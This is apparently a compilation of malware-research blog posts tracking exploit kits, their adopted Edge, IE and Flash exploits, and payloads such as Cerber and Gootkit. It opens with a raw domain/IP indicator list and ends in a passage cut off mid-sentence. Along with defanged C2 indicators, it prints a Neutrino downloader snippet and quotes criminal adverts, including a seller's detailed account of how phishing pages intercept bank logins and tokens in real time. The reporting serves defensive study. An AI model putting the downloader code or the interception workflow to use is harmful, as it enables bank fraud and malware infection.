all.asiadeliveryarmenian.pro188.209.49.151Nebula2017/02/24printeroutput.pheasantmillisecondenvironment.stream188.209.49.151Nebula2017/02/24redrepairs.distributionstatementdiploma.site188.209.49.151Nebula2017/02/24soldierprice.distributionstatementdiploma.site188.209.49.151Nebula2017/02/24suggestionburn.distributionstatementdiploma.site188.209.49.151Nebula2017/02/25advertiselaura.bubblecomparisonwar.top188.209.49.49Nebula2017/02/25apologycattle.gramsunshinesupply.club188.209.49.151Nebula2017/02/25apologycattle.gramsunshinesupply.club188.209.49.49Nebula2017/02/25apologycattle.gramsunshinesupply.club93.190.141.39Nebula2017/02/25apologycold.shearssuccessberry.club188.209.49.151Nebula2017/02/25authorizationmale.foundationspadeinventory.club188.209.49.151Nebula2017/02/25birthdayexperience.foundationspadeinventory.club188.209.49.151Nebula2017/02/25confirmationaustralian.retaileraugustplier.club188.209.49.151Nebula2017/02/25dancerretailer.shearssuccessberry.club188.209.49.151Nebula2017/02/25employergoods.deliverycutadvantage.info188.209.49.151Nebula2017/02/25fallhippopotamus.deliverycutadvantage.info188.209.49.151Nebula2017/02/25goallicense.shearssuccessberry.club188.209.49.151Nebula2017/02/25goalpanda.retaileraugustplier.club188.209.49.151Nebula2017/02/25holidayagenda.retaileraugustplier.club188.209.49.151Nebula2017/02/25marketsunday.deliverycutadvantage.info188.209.49.151Nebula2017/02/25penaltyinternet.asiadeliveryarmenian.pro188.209.49.151Nebula2017/02/25phonefall.asiadeliveryarmenian.pro188.209.49.151Nebula2017/02/25purposeguarantee.shearssuccessberry.club188.209.49.151Nebula2017/02/25rainstormpromotion.gramsunshinesupply.club188.209.49.151Nebula2017/02/25rainstormpromotion.gramsunshinesupply.club188.209.49.49Nebula2017/02/25rainstormpromotion.gramsunshinesupply.club93.190.141.39Nebula2017/02/25rollinterest.asiadeliveryarmenian.pro188.209.49.151Nebula2017/02/25startguarantee.gramsunshinesupply.club188.209.49.151Nebula2017/02/25startguarantee.gramsunshinesupply.club188.209.49.49Nebula2017/02/26advantagelamp.numberdeficitc-clamp.site93.190.141.39Nebula2017/02/26apologycattle.gramsunshinesupply.club93.190.141.39Nebula2017/02/26budgetdegree.maskobjectivebiplane.trade93.190.141.200Nebula2017/02/26competitionseason.numberdeficitc-clamp.site93.190.141.39Nebula2017/02/26customergazelle.cyclonesoybeanpossibility.bid93.190.141.39Nebula2017/02/26decembercommission.divingfuelsalary.trade93.190.141.200Nebula2017/02/26distributionfile.edgetaxprice.site93.190.141.45Nebula2017/02/26equipmentwitness.maskobjectivebiplane.trade93.190.141.200Nebula2017/02/26invoiceburst.cyclonesoybeanpossibility.bid93.190.141.39Nebula2017/02/26invoicegosling.edgetaxprice.site93.190.141.45Nebula2017/02/26jailreduction.edgetaxprice.site93.190.141.45Nebula2017/02/26rainstormpromotion.gramsunshinesupply.club93.190.141.39Nebula2017/02/26startguarantee.gramsunshinesupply.club93.190.141.39Nebula2017/02/27afforddrill.xzv4rzuctndfo.club93.190.141.45Nebula2017/02/27approveriver.jsffu2zkt5va.trade93.190.141.45Nebula2017/02/27burglarsatin.jsffu2zkt5va.trade93.190.141.45Nebula2017/02/27distributionfile.edgetaxprice.site93.190.141.45Nebula2017/02/27invoicegosling.edgetaxprice.site93.190.141.45Nebula2017/02/27jailreduction.edgetaxprice.site93.190.141.45Nebula2017/02/27lipprice.edgetaxprice.site93.190.141.45Nebula2017/02/27marginswiss.divingfuelsalary.trade93.190.141.200Nebula2017/02/27outputfruit.divingfuelsalary.trade93.190.141.200Nebula2017/02/27rainstormpromotion.gramsunshinesupply.club93.190.141.39Nebula2017/02/27reindeerprofit.divingfuelsalary.trade93.190.141.200Nebula2017/02/27reminderdonna.divingfuelsalary.trade93.190.141.200Nebula2017/02/27startguarantee.gramsunshinesupply.club93.190.141.39Nebula2017/02/27supplyheaven.gramsunshinesupply.club93.190.141.39Nebula2017/02/27transportbomb.gramsunshinesupply.club93.190.141.39Nebula2017/02/28afforddrill.xzv4rzuctndfo.club93.190.141.45Nebula2017/02/28agesword.alvdxq1l6n0o.stream93.190.141.166Nebula2017/02/28authorparticle.390a20778a68d056c40908025df2fc4e.site93.190.141.45Nebula2017/02/28bakermagician.alvdxq1l6n0o.stream93.190.141.166Nebula2017/02/28bombclick.alvdxq1l6n0o.stream93.190.141.166Nebula2017/02/28burglarsatin.jsffu2zkt5va.trade93.190.141.45Nebula2017/02/28certificationplanet.87692f31beea22522f1488df044e1dad.top93.190.141.45Nebula2017/02/28chooseravioli.87692f31beea22522f1488df044e1dad.top93.190.141.45Nebula2017/02/28coachadvantage.reportattackconifer.site93.190.141.39Nebula2017/02/28databasesilver.reportattackconifer.site93.190.141.39Nebula2017/02/28date-of-birthtrout.87692f31beea22522f1488df044e1dad.top93.190.141.45Nebula2017/02/28dependentswhorl.jsffu2zkt5va.trade93.190.141.45Nebula2017/02/28derpenquiry.87692f31beea22522f1488df044e1dad.top93.190.141.45Nebula2017/02/28domainconsider.mxkznekruoays.trade93.190.141.200Nebula2017/03/01agesword.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/01authorparticle.390a20778a68d056c40908025df2fc4e.site93.190.141.45Nebula2017/03/01bakermagician.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/01bombclick.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/02actressheight.knowledgedrugsaturday.club93.190.141.45Nebula2017/03/02agesword.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/02applywholesaler.tboapfmsyu.stream93.190.141.200Nebula2017/03/02approvepeak.knowledgedrugsaturday.club93.190.141.45Nebula2017/03/02bakermagician.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/02bombclick.alvdxq1l6n0o.stream93.190.141.166Nebula2017/03/02borrowfield.77e1084e.pro93.190.141.45Nebula2017/03/02boydescription.356020817786fb76e9361441800132c9.win93.190.141.39Nebula2017/03/02buglecommand.textfatherfont.info93.190.141.39Nebula2017/03/02buysummer.77e1084e.pro93.190.141.45Nebula2017/03/02captaincertification.77e1084e.pro93.190.141.45Nebula2017/03/02chargerule.textfatherfont.info93.190.141.39Nebula2017/03/02cityacoustic.textfatherfont.info93.190.141.39Nebula2017/03/02clickbarber.356020817786fb76e9361441800132c9.win93.190.141.39Nebula

CVE-2016-7200 & CVE-2016-7201 are vulnerabilities in the Chakra JavaScript scripting engine in Microsoft Edge. Reported by Natalie Silvanovich of Google Project Zero, those have been fixed  in november 2016 (MS16-129) by Microsoft.Note : No successful exploitation seen despite integration tries.On 2017-01-04 @theori_io released a POCProof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) —https://t.co/DnwQt5giMB— Theori (@theori_io) 4 janvier 2017providing again (cf CVE-2016-0189) ready-to-use code to Exploit Kit maintainer.After not far from 6 months without new exploit integrated in an EK ecosystem which has lost its innovation locomotive (Angler) , the drive-by landscape is struggling to stay in shape. Low infection rate means more difficulties to properly convert bought traffic.The exploits are spotted first in Sundown, but integration in RIG/Empire/Neutrino/Magnitude/Kaixin should be a matter of hours/days.[edit : 2017-01-10]​I have been told that with Win10 1607, Microsoft Edge has some quite strong mitigation: no WinExec, no CreateProcess, no ShellExecute, meaning every child process creation is blocked. The PoC might need a little more "magic powder" to work there.[/edit]Sundown:2017-01-06Sundown EK firing CVE-2016-7200/7201 to Edge 2017-01-06No exploitation here thoughFiddler: Sundown_Edge__CVE-2016-7201_170106.zip (password is malware)Out of topic: expected payload in that infection chain was zloader. (other payload seen in past weeks dropped via Sundown : Zeus Panda, Neutrino Bot, Dreambot, Chthonic, Andromeda, Smokebot, Betabot, Remcos, IAP, RTM, Kronos, Bitcoin Miner)Neutrino:2017-01-14--Thanks to Trendmicro for the multiple inputs that allowed me to keep plugged to this infection chain.--So as explained previously Neutrino is now in full private mode and fueled via Malvertising bought to several ad agencies (e.g. ZeroPark, ClickAdu, PropellerAds, HillTopAds) by a Traffer actor which I tag as NeutrAds. Their infection chain is now accepting/redirecting Microsoft Edge Browser as well.Without big surprise a new exploit is included in the Flash bundle : nw27 >  CVE-2016-7200/7201.NeutrAds redirect is now  accepting Edge traffic - 2017-01-14Neutrino Embedding CVE-2016-7200/7201 - 2017-01-14(Neutrino-v flash ran into Maciej ‘s Neutrino decoder )Extracted CVE-2016-7200/7201  elements - 2017-01-14Note: i did not get infection with- Edge 25.10586.0.0 / EdgeHTML 13.10586- Edge 20.10240.16384.0Fiddler&Pcap : Neutrino-v_CVE-2016-72007201_170114.zip  (Password is malware)Extracted exploits: Neutrino_2017-01-14.zip (Password is malware)reveiled[.space|45.32.113.97 - NeutrAds Filtering Redirectorvfwdgpx.amentionq[.win|149.56.115.166 - Neutrino Payload in that pass : Gootkit - b5567655caabb75af68f6ea33c7a22dbc1a6006ca427da6be0066c093f592610Associated C2 :buyyou[.org | 204.44.118.228felixesedit[.comfastfuriedts[.org monobrosexeld[.orgSo those days, in Asia you'll most probably get Cerber and in EU/NA you'll most probably get GootkitMISP : taxonomy illustrating some NeutrAds into Neutrino-v recorded activity (and post infection)Kaixin:2017-01-15 Finding by Simon ChoiCVE-2016-7200/7201 code fired by Kaixin - 2017-01-16Fiddler : Kaixin_2017-01-16.zip (Password is malware)Out of topic: payload in another pass (not fired by this exploit) was Blackmoon/Banbra 6c919213b5318cdb60d67a4b4ace709dfb7e544982c0e101c8526eff067c8332Callback:http://r.pengyou[.com/fcg-bin/cgi_get_portrait.fcg?uins=1145265195http://67.198.186[.254/ca.php?m=525441744D5441744D6A63744E3055744D554D745130493D&h=437Edits:2016-11-10 - Adding information about mitigation on Edge2016-11-14 - Adding Neutrino2016-11-16 - Fixed the screenshot for Neutrino. Was stating CVE-2016-4117 was there. It's not2016-11-16 - Adding KaixinRead More:Three roads lead to Rome - Qihoo360 - 2016-11-29Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) - Theori-io - 2017-01-04

  Around the middle of August many infection chains transitioned to RIG with more geo-focused bankers and less CryptXXX (CryptMic) Ransomware. Picture 1: Select Drive-by landscape - Middle of August 2016 vs Middle of July 2016RIG += internal TDS :Trying to understand that move, I suspected and confirmed the presence of an internal TDS (Traffic Distribution System) inside RIG Exploit Kit [Edit 2016-10-08 : It seems this functionality is limited to Empire Pack version of RIG]I believe this feature appeared in the EK market with Blackhole (if you are aware of a TDS integrated earlier directly in an EK please tell me) Picture2: Blackhole - 2012 - Internal TDS illustrationbut disappeared from the market with the end of Nuclear Pack Picture3: Nuclear Pack - 2016-03-09 - Internal TDS illustrationand Angler EK Picture 4 : Angler EK - Internal TDS illustrationThis is a key feature for load seller. It is making their day to day work with traffic provider far easier . It allows Exploit Kit operator to attach multiple payloads to a unique thread. The drop will be conditioned by Geo (and/or OS settings) of the victim.Obviously you can achieve the same result with any other exploit kit…but things are a little more difficult. You have to create one Exploit Kit thread per payload, use an external TDS (like Keitaro/Sutra/BlackHat TDS/SimpleTDS/BossTDS, etc…) and from that TDS, point the traffic to the correct Exploit Kit thread (or, if you buy traffic, tell your traffic provider where to send traffic for each targeted country). Picture 5: A Sutra TDS in action in 2012 - cf The path to infection RIG += RC4 encryption, dll drop and CVE-2016-0189:Around 2016-09-12 a variation of RIG (which i flag as RIG-v in my systems) appeared.A slightly different landing obfuscation, RC4 encoding, Neutrino-ish behavioral and added CVE-2016-0189 Picture 6: RIG-v Neutrino-ish behavioral captured by Brad Spengler’s modified cuckoo Picture 7: CVE-2016-0189 from RIG-v after 3 step de-obfuscation pass.Neutrino waves goodbye ?On 2016-09-09 on underground it has been reported a message on Jabber from the Neutrino seller account :“we are closed. no new rents, no extends more”This explains a lot. Here are some of my last Neutrino pass for past month. Picture 8: Some Neutrino passes for past month and associated taxonomy tags in MispAs you can see several actors were still using it…Now here is what i get for the past days : Picture 9: Past days in DriveBy land Not shown here, Magnitude is still around, mostly striking in AsiaDay after day, each of them transitioned to RIG or “RIG-v”. Around the 22nd of September 2016 the Neutrino advert and banner disappeared from underground. Picture 10: Last banner for Neutrino as of 2016-09-16Are we witnessing the end of Neutrino Exploit Kit ? To some degree. In fact it looks more like Neutrino is going in full “Private” mode “a la” Magnitude.Side reminder : Neutrino disappeared from march 2014 till november 2014A Neutrino VariantSeveral weeks ago, Trendmicro (Thanks!!) made me aware of a malvertising chain they spotted in Korea and Taiwan involving Neutrino. Picture 11: Neutrino-v pass on the 2016-09-21Upon replay I noticed that this Neutrino was somewhat different. Smoother CVE-2016-4117, more randomization in the landing, slightly modified flash bundle of exploits Picture 12: Neutrino-v flash ran into Maciej ‘s Neutrino decoder Note the pnw26 with no associated binary data, the rubbish and additionalInfoA Sample : 607f6c3795f6e0dedaa93a2df73e7e1192dcc7d73992cff337b895da3cba5523 Picture 13: Neutrino-v behavioral is a little different : drops name are not generated via the GetTempName api function k2(k) { var y = a(e + "." + e + "Request.5.1"); y.setProxy(n); y.open("GET", k(1), n); y.Option(n) = k(2); y.send(); if (200 == y.status) return Rf(y.responseText, k(n)) };Neutrino-v ensuring Wscript will use the default proxy (most often when a proxy is configured it’s only for WinINet , WinHTTP proxy is not set and Wscript will try to connect directly and fail)I believe this Neutrino variant is in action in only one infection chain (If you think this is inaccurate, i’d love to hear about it) Picture 14: Neutrino-v seems to be used by only one actor to spread Cerber 0079xThe actor behind this chain is the same as the one featured in the Malwarebytes Neutrino EK: more Flash trickery post.Empire Pack:Coincidentally a new Exploit Kit is being talked about underground : Empire Pack. Private, not advertised. Picture 15: King of Loads - Empire Pack PanelSome might feel this interface quite familiar…A look a the favicon will give you a hint Picture 16: RIG EK favicon on Empire Pack panel Picture 17: RIG PanelIt seems Empire Pack project was thought upon Angler EK disappearance and launched around the 14th of August 2016.[Speculation] I think this launch could be related to the first wave of switch to RIG that occurred around that time. I think, Empire Pack is a RIG instance managed by a Reseller/Load Seller with strong underground connections. [/Speculation]RIG-v is a “vip” version of RIG. Now how exactly those three elements (RIG, RIG-v, Empire Pack) are overlapping, I don’t know. I am aware of 3 variants of the API to RIGapi.php : historical RIG api3.php : RIG with internal TDS [ 2016-10-08 :  This is Empire Pack. Appears to be using also remote_api after this post went live. I flag it as RIG-E ]remote_api.php : RIG-vBut Empire Pack might be api3, remote_api, or a bit of both of them.By the way RIG has also (as Nuclear and Angler endup doing) added IP Whitelisting on API calls to avoid easy EK tracking from there.   :-" (Only whitelisted IP - from declared redirector or external TDS - can query the API to get the current landing) ConclusionLet’s just conclude this post with statistics pages of two Neutrino threads Picture 18: Neutrino stats - Aus focused thread - 2016-07-15Picture 19: Neutrino stats on 1 Million traffic - 2016-06-09“We will be known forever by the tracks we leave”Santee Sioux TribeSome IOCsDateDomainIPComment2016-10-01szsiul.bluekill[.]top137.74.55.6Neutrino-v2016-10-01twqivrisa.pinkargue[.]top137.74.55.7Neutrino-v2016-10-01u0e1.wzpub4q7q[.]top185.117.73.80RIG-E (Empire Pack)2016-10-01adspixel[.]site45.63.100.224NeutrAds Redirector2016-09-30re.flighteducationfinancecompany[.]com109.234.37.218RIG-v2016-09-28add.alislameyah[.]org193.124.117.13RIG-v2016-09-28lovesdeals[.]ml198.199.124.116RIG-v2016-09-27dns.helicopterdog[.]com195.133.201.23RIG2016-09-26sv.flickscoop[.]net195.133.201.41RIG2016-09-26red.truewestcarpetcare[.]com195.133.201.11RIG-v2016-09-26oitutn.yellowcarry[.]top78.46.167.130NeutrinoAcknowledgementsThanks Malc0de, Joseph C Chen (Trendmicro), Will Metcalf ( EmergingThreat/Proofpoint) for their inputs and help on multiple aspect of this post.Edits2016-10-03 :Removed limitation to KOR and TWN for Neutrino-v use by NeutrAds as Trendmicro informed me they are now seeing them in other Geos.Added explanation about the IP whitelisting on RIG API (it was not clear)2016-10-08 :Updated with gained information on Empire Pack2016-11-01 :RIG standard is now also using the pattern introduces past week by RIG-v. It's now in version 4.https://twitter.com/kafeine/status/790482708870864896RIG panelThe only instance of RIG using old pattern is Empire Pack (which previously could be guessed by domains pattern)2016-11-18 : Empire (RIG-E) is now using RC4 encoding as well. (still on old pattern and landing)RIG-E Behavioral2016-12-03RIG-v has increased filtering on IP ranges and added a pre-landing to filter out non IE traffic.2016-12-03 RIG-v Pre-landingRead MoreRIG’s Facelift - 2016-09-30 - SpiderLabs Is it the End of Angler ? - 2016-06-11 Neutrino : The come back ! (or Job314 the Alter EK) - 2014-11-01 Hello Neutrino ! - 2013-06-07The path to infection - Eye glance at the first line of “Russian Underground” - 2012-12-05

Gift for SweetTail-Fox-mlp by Mad-N-MonstrousSmall data drop about another Pony fork : Fox stealer.First sample of this malware I saw was at beginning of September 2016 thanks to Malc0de. After figuring out the panel name and to which advert it was tied we were referring to it as PonyForx.Advert :2016-08-11 - Sold underground by a user going with nickname "Cronbot"--------Стилер паролей и нетолько - Fox v1.0Мы выпускаем продукт на продажу. Уже проходит финальная стадия тестирования данного продукта.О продукте : 1. Умеет все что умеет пони. + добавлен новый софт.2. Актуален на 2016 год.3. Написан на С++ без дополнительных библиотек.4. Админка от пони.Условия : 1. Только аренда.2. Распространяется в виде EXE и DLL.3. Исходники продавать не будем.Аренда 250$ в месяц.Исходники 2000$ разово.----Translated by Jack Urban : ----Password stealer and more - Fox v.1.0We are releasing the product for general sale. Final stage of testing for this product is already underway.About the product:1. Is able to do everything that pony does. + new software has been added.2. Relevant for 2016.3. Written in C++ without additional libraries.4. Admin from pony.Conditions:1. For rent only.2. Distributed as an EXE and DLL.3. We will not be selling the source.Rent is $250 a month.Originals are a 2000$ one time fee. --------It's being loaded (with Locky Affid 13) by the Godzilla from ScriptJS (aka AfraidGate) group .MISP taxonomy tags reflecting ScriptJS activity in the last months(note : it's not the first time this group is pushing a stealer, they were dropping Pony with their Necurs between August and December 2015 [1] )2016-09-26 - ScriptJS infection chain into Neutrino into Godzilla loader into PonyForx and Locky Affid 13Here we can see the browsing history of the VM being sent to PonyForx (Fox stealer) C2Fox stealer (PonyForx) fingerprint in CuckooSample :cca1f8ba0be872ec86755e3defbb23c8fe4a272a6b4f7ec651302c5cddc5e183Associated C2:blognetoo[.]com/find.php/helloblognetoo[.]com/find.php/datablognetoo[.]com|104.36.83.52blognetoo[.]com|45.59.114.126Caught by ET rule :2821590 || ETPRO TROJAN Win32.Pony Variant Checkin[1] ScriptJS's Pony :master.districtpomade[.]com|188.166.54.203 - 2015-08-15 Pony C2 from ScriptJS​js.travelany[.]com[.]ve|185.80.53.18 - 2015-12-10 Pony C2 from ScriptJSRead More : http://pastebin.com/raw/uKLhTbLs few bits about ScriptJSInside Pony 1.7 / Fareit C&C - Botnet Control Panel - 2012-06-27Pony 1.9 (Win32/Fareit) - 2013-05-23 - Xylitol

Spotted by Symantec in the wild  patched with MS16-051 in may 2016, CVE-2016-0189 is now being integrated in Exploit Kit.Neutrino Exploit Kit :Here 2016-07-13 but i am being told that i am late to the party.It's already [CN] documented hereNeutrino after ScriptJS redirector dropping Locky Affid 13- 2016-07-13Flash sample in that pass : 85b707cf63abc0f8cfe027153031e853fe452ed02034b792323eecd3bc0f7fd(Out of topic payload : 300a51b8f6ad362b3e32a5d6afd2759a910f1b6608a5565ddee0cad4e249ce18 - Locky Affid 13 ) Thanks to Malc0de for invaluable help here :)Files Here: Neutrino_CVE-2016-0189_160714 (Password is malware - VT Link)Sundown :Some evidence of CVE-2016-0189 being integrated in Sundown were spotted on jul 15 by @criznashOn the 16th I recorded a pass where the CVE-2016-0189 had his own calls :Sundown exploiting CVE-2016-0189 to drop Smokebot on the 2016-07-16(Out of topic payload :  61f9a4270c9deed0be5e0ff3b988d35cdb7f9054bc619d0dc1a65f7de812a3a1 beaconing to : vicolavicolom.com | 185.93.185.224 )Files : Sundown_CVE-2016-0189_160716 (password is malware)RIG:I saw it on 2016-09-12 but might have appeared before.RIG successfully exploiting CVE-2016-0189 - 2016-09-12CVE-2016-0189 from RIG after 3 step decoding passFiles : RIG_2016-0189_2016-09-12 (password is malware)Magnitude:Here pass from 2016-09-16 but is inside since at least 2016-09-04 (Source : Trendmicro - Thanks)CVE-2016-0189 in Magnitude on 2016-09-16Sorry i can't share fiddler publicly in that case (Those specific one would give to attack side too much information about some of the technics that can be used - You know how to contact me)Out of topic Payload:  Cerbera0d9ad48459933348fc301d8479580f85298ca5e9933bd20e051b81371942b2cGrandSoft:Spotted first on 2017-09-22 here is traffic from 2018-01-30 on : Win10 Build 10240 - IE11.0.10240.16431 - KB3078071CVE-2016-0189 in GrandSoft on 2018-01-30Out of topic Payload:  GandCrab Ransomwarea15c48c74a47e81c1c8b26073be58c64f7ff58717694d60b0b5498274e5d9243Fiddler here : GrandSoft_WorkingonIE11_Win10d.zip (pass is malware) Edits :2016-07-15 a previous version was stating CVE-2015-5122 for nw23. Fixed thanks to @dnpushme2016-07-20 Adding Sundown.2016-09-17 Adding RIG2016-09-19 Adding Magnitude2018-01-30 Adding GrandSoft (but appeared there on 2017-09-22)Read More :[CN] NeutrinoEK来袭：爱拍网遭敲诈者病毒挂马 2016-07-14 - Qihoo360Patch Analysis of CVE-2016-0189 - 2016-06-22 - TheoriInternet Explorer zero-day exploit used in targeted attacks in South Korea - 2016-05-10 - SymantecNeutrino EK: fingerprinting in a Flash - 2016-06-28 - MalwarebytesPost publication Reading :Exploit Kits Quickly Adopt Exploit Thanks to Open Source Release - 2016-07-14 - FireEye

Everyone looking at the DriveBy landscape is seeing the same : as Nuclear disappeared around April 30th,  Angler EK has totally vanished on June 7th. We were first thinking about Vacation as in January 2016 or maybe Infrastructure move. But something else is going on.---On the Week-End of the 4-5th of June I noticed that the ongoing malvertising from SadClowns was redirecting to Neutrino Exploit Kit (dropping Cerber)EngageBDR malvertising redirecting to SadClowns infra pushing traffic to Neutrino to Drop Cerber RansomwareOn the 6th I noticed several group migrating to RIG, Neutrino or even Sundown.But I got speechless when I noticed that GooNky had switched to Neutrino to spread their CryptXXX U000001 and U000006.They were sticking exclusively to Angler EK since years and their vacation were synchronized with Angler's in January.Checking all known to me infection path I could hardly find some Angler....last one were behind the EItest infection chain on the night of the 6th to 7th of June.Last Angler pass I captured on 2016-06-07EITest into Angler dropping CryptXXX 3.200 U000017On June 7th around 5:30 AM GMT my tracker recorded its last Angler hit :Last Hit in my Angler tracker.After that...RIG, Neutrino instead of Angler almost everywhere.[Side note: Magnitude is still around...But as mentioned earlier it's a One Actor operation since some time]Aside SadClowns and GooNky here are two other big (cf traffic volume) group which transition has not been covered already"WordsJS"  (named NTL/NTLR by RiskIQ) into Neutrino > CryptXXX U0000102016-06-10"ScriptJS" (Named DoublePar by RiskIQ and AfraidGate by PaloAlto) into Neutrino > CryptXXX U000011This gang  was historically dropping Necurs, then Locky Affid13 before going to CryptXXXIllustrating with a picture of words and some arrows:MISP : select documented EK pass with associated tags.1 arrow where you would have find Angler several days before.(+ SadClowns + GooNky not featured in that selection)With the recent 50 arrests tied to Lurk in mind and knowing the infection vector for Lurk was the "Indexm" variant of Angler between 2012 and beginning of 2016...we might think there is a connection and that some actors are stepping back.Another hint that this is probably not vacation "only" for Angler is that Neutrino changed its conditions on June 9th. From 880$ per week on shared server and 3.5k$ per month on dedicated, Neutrino doubled the price to 7k$ on dedicated only (no more per week work). Such move were seen in reaction to Blackhole's coder (Paunch) arrest in October 2013.So is this the End of Angler ? The pages to be written will tell us.“If a book is well written, I always find it too short.” ― Jane Austen, Sense and SensibilityPost publication notes:[2016-06-12]RIG : mentioned they were sill alive and would not change their Price.Maybe unrelated to RIG mention, Neutrino updated his thread as announced previously on underground but conditions are revisited :------Google translate:-----Tarif week on a shared server:Rent: $ 1500Limit: 100k hosts per dayOne-time daily discharge limits: $ 200Rate per month on a dedicated server:Rent: $ 4000Limits: 500k hosts per day, and more - on an individual basis.One-time daily discharge limits: $ 200----------------So now only price per week is doubled and month rate + ~20%[2016-06-13]Our exploit kit stats for the last two weeks… Angler dives, Neutrino soars. pic.twitter.com/RcYAH6tVck— News from the Lab (@FSLabs) June 13, 2016Acknowledgement:Thanks to Will Metcalf (Emerging Threats/Proofpoint) who made the replay of SadClowns' malvertising possible. Thanks to EKWatcher and Malc0de for their help on several points.Read More :XXX is Angler EK - 2015-12-21Russian hacker gang arrested over $25m theft - 2016-06-02 - BBC NewsNeutrino EK and CryptXXX - 2016-06-08 - ISCSansLurk Banker Trojan: Exclusively for Russia - 2016-06-10 - Securelist - KasperskyHow we helped to catch one of the most dangerous gangs of financial cybercriminals - 2016-08-30 - SecureList

Discovered being exploited in the wild by FireEye [1] on May 8, 2016, patched 4 days later with Flash 21.0.0.242, CVE-2016-4117 is making its way to Exploit Kits.Magnitude :CVE confirmed by FireEye - Thanks !On 2016-05-21 Magnitude is firing an exploit to Flash up to 21.0.0.213.Magnitude firing exploit to Flash 21.0.0.213 - 2016-05-21For now i did not get exploitation in the different pass i tried but in the Flash exploit we can see some quite explicit imports : import com.adobe.tvsdk.mediacore.timeline.operations.DeleteRangeTimelineOperation;Magnitude Flash Exploit showing import of the DeleteRangeTimelineOperationSpotted sample :  f5cea58952ff30e9bd2a935f5843d15952b4cf85cdd1ad5d01c8de2000c48b0aFiddler sent here.Updates to come as it appears to be a work in progress.Neutrino :2016-05-23Spotted by Eset.2016-05-23 Neutrino successfully exploit CVE-2016-4117 on Flash 21.0.0.213 and drop here CryptXXXSample in that pass : 30984accbf40f0920675f6ba0b6daf2a3b6d32c751fd6d673bddead2413170e8Fiddler sent here (Password is malware)Out of topic payload: 110891e2b7b992e238d4afbaa31e165a6e9c25de2aed442574d3993734fb5220 CryptXXXAngler EK:2016-05-23CVE identification by Henri Nurmi from F-Secure. Thanks !Angler EK successfully exploit Flash 21.0.0.213 on 2016-05-23 dropping DridexSample in that pass : 310528e97a26f3fee05baea69230f8b619481ac53c2325da90345ae7713dcee2Fiddler sent hereOut of topic payload  : 99a6f5674b738591588416390f22dedd8dac9cf5aa14d0959208b0087b718902Most likely Dridex 123 targeting Germany based on distribution path.Sundown :  [3]2016-08-27Sample in that pass : cf6be39135d8663be5241229e0f6651f9195a7434202067616ae00712a4e34e6 Fiddler sent here  (password : malware)Read More:[1] CVE-2016-4117: Flash Zero-Day Exploited in the Wild - 2016-05-13 - Genwei Jiang - FireEye[2] New Flash Vulnerability CVE-2016-4117 Shares Similarities With Older Pawn Storm Exploit - 2016-05-13 - Moony Li - TrendMicro[3] Sundown EK – Stealing Its Way to the Top - 2016-09-02 - Spiderlabs

Fallout Vault Boy maskThe goal of the post is to open-source data on a kit that has been seen live impersonating bank portal. This is mostly Raw data, few part only will be "google translated".On September 2015 the 16th,  an advert about a multipurpose kit appeared underground :------------------------------------------By: [Redacted]Subject : Инжекты | Админки | Фейки, -50% от рыночных цен -Доброе время суток всем.Рад предоставить свои услуги по разработке следующих проектов:Инжекты;Grabers 80-150$*;Pasive ATS 500-800$*;Active ATS 800-1500$*;Tooken Panels 400-800$*;Replacers 200-400$*;И многое другое...Фейки;Простые клоны 70-150$*;Продвинутые с перехватом 200-500$*;Админки на пхп;Под любые нужды ...*данные цены служат ориентиром. Реальная цена будет зависеть от каждого техзадания индивидуальноJabber( [Redacted]@exploit.im )ICQ( 6[Redacted]8 )------------------------------------------Google Translated as :------------------------------------------By: [Redacted]Subject: Inject | admin area | Fakes, -50% of the market price -Good time of day to all.I am glad to provide services for the development of the following projects:Inject;Grabers 80-150 $ *;Pasive ATS 500-800 $ *;Active ATS 800-1500 $ *;Tooken Panels 400-800 $ *;Replacers 200-400 $ *;And much more...fakes;Simple clones 70-150 $ *;Advanced interception $ 200-500 *;Admin Center on php;Under any needs ...* These prices are a guide. The actual price will depend on each individual ToRsJabber ([Redacted] @ exploit.im)ICQ (6[Redacted]8)------------------------------------------NB : The Subject became later :--Инжекты | Админки | Фейки | Android Инжекты, -50% от рыночных цен --Inject | admin area | fakes | Inject Android, 50% of the market price ---Seller later added :------------------------------------------Последее время очень мнoго вопросов по поводу как работает перехват на скам странице. Решил детально описать процес чтобы изначально не вводить клиентов в заблуждение.В самом начале надо понять что такое "СКАМ СТАНИЦА"."СКАМ СТРАНИЦА"- это копия реальной странички логина в банк ,которая находится на нашем сервере с похожем на банк доменом. Все детали вводимые на ней будут лететь к нам.Далее уже на выбор, или дание идут на емайл, или на специально сделанную админку.Тоесть суть замута такова:жертва попадает на нашу страницу ->вводит данные->потом наша страница кидает жертву обратно на оригинал ->и мы поже ипользуем данные сами чтобы войти..| Это самый примитивный пример , на самом деле все чуток сложнее и зависит от фантазии заказа .Дальше надо понять что такое "ПЕРЕХВАТ"."ПЕРЕХВАТ" - eто вид обмана, очень часто ипользуетса в инжектах. Само название говорит за себя.Инжект перехватывает дание в рельном времени и присылает нам . В это время жертва как обычно ждет с гиф на экране,а вы заходите вместо него.| Зачем это надо?Затем что если для перевода вам требуется дополнительно второй пароль/смс/тукен то можно это запросить ,пока жертва ждёт, через специально сделанные команды в админке.Основной бенефит что это можно делать повторно ,много раз.|| Перехват на скам страничке работать точно также . Жертвa вводить дание и ждет пока мы его спросим то что нам надо.|Поэтапно:Преставим себе что есть банк где на вход надо UserName и Password . На активацию перевода по IBAN надо нoмер с тукен-прибора (Pin1) и для переводa надо ввести номер в тукен-прибор и тукен-прибор даст нам номер обратно (Pin2)Теперь преставим себе что у нас есть скам странница на этот банк , которая будет отсылать нам получение даные для входа и потом покажет заставку жертве с просьбой подождать. Мы находимся на другом конце в админке и наблюдаем такую катину .Краткое пособие по админке."I'am Online"- показывает находится ли оператор в админке , если "Off-line" то все жертвы будут перенаправлены обратно на оригинал страницу.Колонка "Keys" это есть полученные детали для входа.Колонка "Pin" это для получених тукенов/пинов .Колонка "Task" для добавленья операции по запросу тукена/пинов .Колонка "Redirect" показывает релле редиректа конкретной жертвы . Если поставить "On" то жертва будет перенапрвлена на оригинал сразу.| *Если жертва мегает красним то это значит что жертва какраз ждет от вас комадуИ так , на даном 